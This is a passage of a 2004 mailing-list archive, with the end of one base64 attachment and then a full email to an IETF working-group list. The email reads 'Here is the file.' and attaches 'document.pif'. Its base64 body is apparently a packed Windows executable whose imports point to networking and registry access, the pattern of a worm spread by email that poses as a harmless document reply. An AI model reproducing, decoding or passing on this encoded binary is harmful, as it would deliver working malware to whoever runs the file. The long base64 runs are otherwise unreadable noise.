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
AAAAAAAAAAA=


------=_NextPart_000_0014_00000D55.00004387--



From presnick@qualcomm.com Thu Apr  8 18:26:58 2004
Received: from lists.beepcore.org ([218.75.60.19])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i391HIk8011501
	for <beepwg@lists.beepcore.org>; Thu, 8 Apr 2004 18:17:19 -0700 (PDT)
Message-Id: <200404090117.i391HIk8011501@qawoor.dbc.mtview.ca.us>
From: presnick@qualcomm.com
To: beepwg@lists.beepcore.org
Date: Fri, 9 Apr 2004 09:14:49 +0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0006_00005A1C.000024CA"
X-Priority: 3
X-MSMail-Priority: Normal
Subject: [BEEPwg] Re: Re: Thanks!
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

This is a multi-part message in MIME format.

------=_NextPart_000_0006_00005A1C.000024CA
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Here is the file.

------=_NextPart_000_0006_00005A1C.000024CA
Content-Type: application/octet-stream;
	name="document.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="document.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC
AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy
dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN
dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T
WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD
+FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7
AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw
X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2
g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk
XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA
5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z
AQCUcgEAAAAAAAAAAAAAAAAAenMBAKhyAQAAAAAAAAAAAAAAAACGcwEAsHIBAAAAAAAAAAAA
AAAAAJFzAQC4cgEAAAAAAAAAAAAAAAAAnnMBAMByAQAAAAAAAAAAAAAAAAAAAAAAAAAAAMhy
AQDWcgEAAAAAAOJyAQDwcgEAAHMBABJzAQAAAAAAJHMBAAAAAAALAACAAAAAAEBzAQAAAAAA
VHMBAAAAAAAAAE1lc3NhZ2VCb3hBAAAAd3NwcmludGZBAAAARXhpdFByb2Nlc3MAAABMb2Fk
TGlicmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAVmlydHVhbFByb3RlY3QAAAAASW50ZXJu
ZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAEdldE5ldHdvcmtQYXJhbXMAAAAAUmVnT3BlbktleUEA
VVNFUjMyLmRsbABLRVJORUwzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbABpcGhscGFw
aS5kbGwAQURWQVBJMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVACNL
LeCo9fUqAN2XrU+vUqlvABioluG9wPiQAMukUQTRgwCWAAh8qPCIC46DGwsqdsh4rZIAff8q
c3UyNDah4RiNMLEZ5wLoY+8nAGEAAACf0B59LFAEyC92WUGoz7dMAENKSTV9SfNMFsaLNcr/
Fv1JH7pmAAz4ST+5Lje4ADBpaxfaVNyoKVsn6WaIgGsa2xs1XVso89/0VBJZEQgX5bEWjCwK
qlyNQcKD7RjLg3xeEl8VcPcISg3wx0DdLWFWA1+QEk6COEiI9CmEAHeOVp81jodfBoA8bgTL
ukUA8PSqislLA8oDo/220qcHaQa/vM2/RlJdDancS8uEx0LEhVW8lAcAn2XWp8YU3gGVd5/w
rGdAQTSKGzbUfpTtxgpweFp0NfaVLQU4RZJQikZ++nALsQw8A2oXYVErIyhKZD2rHA29DFJQ
ACWwproYIpZZyW0kw88Vq7fAJtzrbCK931+m5uVEwtKGp6zcLHTNSZTO8IsSJk/mGkz94/HU
gF+O9FqBx24MIOl8X88RU1+p9LJotlZpzVZfWWS2/3IKl3eGgym+14JqOdlGpM3aIpS5KQSm
nmCwR7hG3La+JUXw+KOiSrSNvpSl9cvtqp+YRcDGxmgowiP+VQp02W2wDRRq9g86LaCVElpe
smugpDsZcpSnPM2teZUv2AijvJj8pLhQqTaCkxAVw4EdYaiKohdLr2nLQG1Q+CcmMQU0Y9oy
LFAQ1HKvGtZcAK6iJukK3oJM8rIDNUlgl+duAIUVbILFtJs4AnhLdPUsdDl2vKJo+V1KN8Rn
5F2FAOSZjm6qHl6hsFKXITMx1F0b3W+RR5ewnlJ2ijs2S3+6t9ExQ0HbEIP4tAbDmz4tTVz7
+dsaefWquHZqzscNQkXH2JoeWqO+HRaHfX0yCgXD+LwP2fnyv/0BEGyJVmR5MQtfQysE8+IU
W2XfJsUlTX/OV+wgyi27Ru/m0QRHEBXtRqv7oFbAZDyFk6EgcArlmkn3ljcfmkFE4p1uD/ox
WeO00ACBAo36ZfsBFbrKQo6+D8SHFHEobC435RAFV3o6AmwP7h9PYYlAqyjkqRfhchhx3h32
DFhXsKSFkyyXJYcVCwhoyxZVCpQsiOKLXjr6yGiuSFhl2aipTFS6Grt9o1Av3ZCM85bYI+fA
8KiRk+dcg4p2KvmB3VJxT77x2sFrFEUR401jiIcNWm+BWkhtEWS5xIk9Z1sg2Ce1WFgX0gBR
sgQZSak1T3AkCdZJxzljSgEfDNpLSEFFqhcm+tdYUCPLFtWHkFsXyzUDE4UQZ1m15HaK/50n
1CoBq2Vd8hRXEoV8fQdZDL9hwVprCrSsBLn+rgcOm9GDgDqhkiMtjGsCqVSLyz+9ngstKZLF
tAlWBYpHlkqqxX985aMuleq+uK5jVU2k3MncgXMw8vp1VHhVxZW/cU8Cjocec1ZTbWXYaWRX
d6rUage4iBa7Vbtmp6PgUUQauljiMD8BysbzEn7rIObYhKNRVLLr6zUHvpgv2XA8j1tmS/fT
g9/51fz+koj5CWTe3gAfmIPlbU09+/EqBFN4Pz0urYYRt3+zUMFAkt23Ya3zleTkX7/XQyiZ
rDKo3DgBbL3fwj/ONGHF0ZQSKiLLvi5sXtqrsBNPDpFo0S9apBvopVxHGxtJ2ShT1ygoqMe4
M5z/Kt94SEISqPIyuOeUahnOejNTlEso1j8WzBMhGkboBvIX03YUEXdCST3CoZKdnX9dgQBK
IQiLE4sQ00KN/XgYuZQV8iI0Gvk7J3Pg0e1heEDgbbXinPsTao/fSdjYJNaS19wgI8V0+KL1
wgqBv+LFtDP4QSFVizkytEgbjyHppNcS9C7HV2oQiUPi7zHC0lf+eMlU6whh6ISeQh0Qm+Tw
DIA30DHBPID2CYT7QgYh4AMQ/QCI+gVEh3oi9A8R6RQI7hGE00IuJ8g70IoJa46hlPS+U0/9
TUyNcnWBdyifheqKg0zoIh4x/jkDFZrgFj656KQo3T6s3+IcZdOZCD3OuAQ6xibNyGM/Mo5+
D50GDMy1FopoIW8Pwps/+sNx0vLIKMOOZcrIshqwl8RZqdRqiaBzIHYDc38L+90eZo9pgI+k
B5Lp+rgH11918NtvrhrsqdQXQfIrqrt5NVNh73UedLnMws8uNX2SSjxqOBUqz/d5KN5ZKbqH
boRPpgOjUKHeI2NRxSoiRWwjCNHPfGKC8eHjhg9VEYAw9FaNu8sRsFeq/jwmDs80hqP5pJmh
Aq1pF+ybAsVXG5aA8LXaRIUsI2XgpavSjIsipFg3RDPfnw6txK280umBEKEUpw3qoVWjLvb+
bWqv/PeAHVUAY3BsOGjc15UE/VNv0pNHi04SsrMq8EVrtK8ofwCW/cDRC6TIbG+7kpVuWRAV
SzW8zvtjfQwBLl0rXHxjeH3GIUzGs0lVNzLEC5Fq00kw0wNzGPGknSNWCAQTjrxMpPQ9JXOm
gB6BDEpOOwwDcQ6OBjY9jMGJInlc6kh/ZcGR0mBhlf0og2/1YxjBsxxE1a4M2ZgzJuzirUjC
9LMKxsV3Gm06RYVxAIMQVFk9hZbPF7BTNQ+psFa/SMJtrwHHYAASxQWfwB6ho1BQ2N2+0F5c
OvkHpAW4nMKGmSw5qECCBRaKnGRqbF9zZTSHfqxLlTqh31bqSktIZEOnKapSDbkRwrBhCng5
UiEBxcN4xeqjPTMr7dqPaOGKeh/wFezpNjKsTR1Ee6r79p0UHqn/1SfpWbEN7kKu8P3wOojn
ba4huqWVO3+YFYTXeV1XkorMlnnvKGLr64BURLpNMiyJ2sxvpVrvLEX0UatcQ+QUiXKyhtK6
3CWN8ylugubFaopS2mb4HPyEALSScfn3JB4uuvAtgAr9lF+Z9SDWWM6qavPuoKb1JSimf/Mu
j0YSA3mCGTCyyImKBKj4dDu+yu5hdMw8QB2TWmXahdMCa5aSZZu1qa9AmqglbXQI1v95Ssbc
Qp/l3MvXi6KMTER/Nyzj+qKEQKZBB2TgOqoOtI8NNcTwtYfxqQWQEV1ESjqWPkOikCfhYSsg
Vp1+dG2dLhft6Xwf3OzN9Whf7UoZBy3Mjuk/BTjyXhbpvGjMFihaccBcQJjtRg8hMNUyubjk
FQqOAoVRH+Py+B1YEjtZaT3HDuMPi82wfFG0BP5nusv+yVOqpUb6HDuTBiAooQ5s3sd/TAMK
roRKpChG69cOBEOGOqMOoX8UVlLevoCyvR4nbHjmhoG0mY2HElSO0ZUoOZaoJu3h5B8gPrZe
wcwWqIMQ21F1DvGUQROTF69wkEAoBLQCF6gYSdrNDiV8kVok20BYckan3kE6vET7qEDsQVF9
ZIUGbyEp1T6hkbnc8W3VZaSl4K64VzU+d/OLyhg5AqykIWLqoQGbrCIMiFN4+LEI2TZ/FEKl
GHx5vIFVfs+Pi9m5xdMUc8ig8TOqljK9E3jEr+uK04Oq/WdL/qQL73RDT4gxEd2sgwBMDoeT
BUALehFBdg5lvyBWNPWKcrjIEoUx0Nj6rzNk2ee0gAl92qlUo+NCswUMDX3ipRsYitqIti8K
/s9RIgLOE0c+CHv+nUI6or0ljMzIJYEHW1klZTbUxzORtMEKZhFTVFnkoq/glKRAqdD7pKZO
XftGIhTcuvg1x7FayLmqu3teiVsn368OqDRz/PrKUuwOt4n1M1I73n/2oehFjkecmwLrL2yu
kp2Jx99E8kAH/65NmTzc3hQEiAanzQX0koFreHV/oEjylVs93Sv1nkdRugr9wb9zSNEKrq8t
JPdBzywrspUPFnOSSmfJgYBN27A5TCsOvTmBn699vMQVFnY6gms+Yc0FU9XqYJtA5fdQFacc
fi/qIKAA5sZULkiLKB5siiPBnIXw0IOL6Mlj28jKgPhtkRTrnOun0+IbebC+RzMy0CMSlmED
k0w15bLDS9rAQT/DsDsj8WPfGfXy2buuik5i9P5hO9Rm+QrfgPO0XZ7Zk7vlVFudLwVkBW13
M3W+jYf37AMrrTTzDgxEuzLjSB98BQI8mVDcRo4KVHVTxlRWWsV/bPKASKNgi280HsaS800i
/iQiTRBzkZAijmoUBAu1BhrpsO22pkYSiFsQ+Yajm6pF+UiJ0Ff/YpeUt6fQGZvzYyne3/Uq
qECfj+4kpw46tcjxsYr9wEPPKpOvqFkfeTEkdlSUdJH6WlR6fW23VpFXXOyYn98gvDJHWvzZ
PDulzAsDdP6D/l1EZYtWe5stM99zPXQQV94mXbQJ9fE9XMqpkxC8gR0OXN3WKosbMyIxIiN+
Ter1r8tzfo+DF5nDAHBqqVMzQ9ghnxqCiNVGvb69zgLjVJ7RiNYXiMy/LyGlsNXW91hCBoH6
xeRvpGxPinSYNkVFkQ87kEeIWKD1r6ZYrVYHaMUmKmydtEjILihVY0v4F+C3BsKCzG51o5r/
x7tscbmaToDQATpSxaLRwOmfVxJh+79fv5J0Sd2pgs4iyWCrwzmEp19DW0Xy8cPif+0Ih0pu
+SsghezWhw0MZhBphY02c6q7hLqEXIMUM0w5dxC5RUranc9b5nNAmYdoLvVcU0hMsv8onuaZ
1eXqHYcE9RvshDM+q24OPdA8DrflTv+n3eFCnLvVtASq/IWEAvhUNIeomzpOkev3o8tfLU7R
2Jje0Cyt4r7dsxTN6ueT9okxtwEgfwmT7wB9jry7NaCe2IfpJm7fsfyGXJ2+mSdEi15LR1w+
yAQz32aMRxA7+TqQ7tW6qRT60pB0EvsuT03t4Q3J7wvImVmmXPEGfUD+IWSqvgFr4BdMin2o
6QiwQ6m0SZ50A8GVoyHrxdnsDilfWYkfjJ+cJJgtXQSchpbRp/h+aAITeSQeUYq/o7V8bYKa
CORrQlXb6L9rQq3Y6lGydhhgGy1UNarlimuVVTqKQv1VrRUkRdYiHphy0WWijssLCEbBuKZe
mWJ4WeI2mcUZqWdbyoQrqghR5pYo4qSFGuriiN4pTyixpofU9kQ5nwILLES76SGywpIZQvxY
yNKuX9I0ru3HJk4hr/PQxDNFa8aI2SmiFaeI1PclM1QVoOQdbhfG0RNAFRcFeSt2CCA2Mq3A
YEExT/1c2spTstpx1L7BCUCxjo3LI/bCuMzRX9P24BxJrexz0yuAEbqxIWg3Y1/4SF+TpVWO
cpjQc2vYVblcDCcAWKPUcR8gbR5/2x8xEbDnnBiXbgXAdblgfY9YhSdabYbaqTLwnqpg6aEH
pY3zWinaYAPLUza6RVJ9UGO5iQ9JaN86OtaTKyicytspTFwJhN94K+tCKajsrOEy+xng4ChM
SnFnGVQqMqx4tw1YBtHIuOfn8apRS+n7zpKHcn/gp66kDZCJ8vGUq+upYKwd7eUj0r6f0Qdl
G+fk/IEQKr3pIEWAS7MNiC5ba3pt3mbsnqAzU8xCaUNLkHiQT9lXDZAf2QcNkC/BSUh8fVl2
ouYL+/QvYciYyQKXfoL6u70U9nQXIpupdoNLKuDjUBxnGeYOk80oB6vRQK7R8wZe0gCTmqcr
WwcPLZ421ZoL76agVVQ1v+yWmpS1HOWdPSv361MGYcuhYOpicyv6vLKnVx53WVDR0w9y9mnN
b1foK/AhAKl0sE6KBXpKBYhg7N9x+TGvZFZedrbTFMGBQdijUSp+EPCrd8c7OX2kU4vxcwHF
rCzNTsKgEz31XRK/uRTGTb5K6b6PE9YFYrVMnTn9MTrJne5AmVQQmEhiD6sJWQiqo0EHrcWV
x24CNhx9UaZnUKoqSd4k3tuAcocoWjJQhSkq3LOpNvFm8jTlw5PhTZ2pNLXTsU6N9hAFbgDM
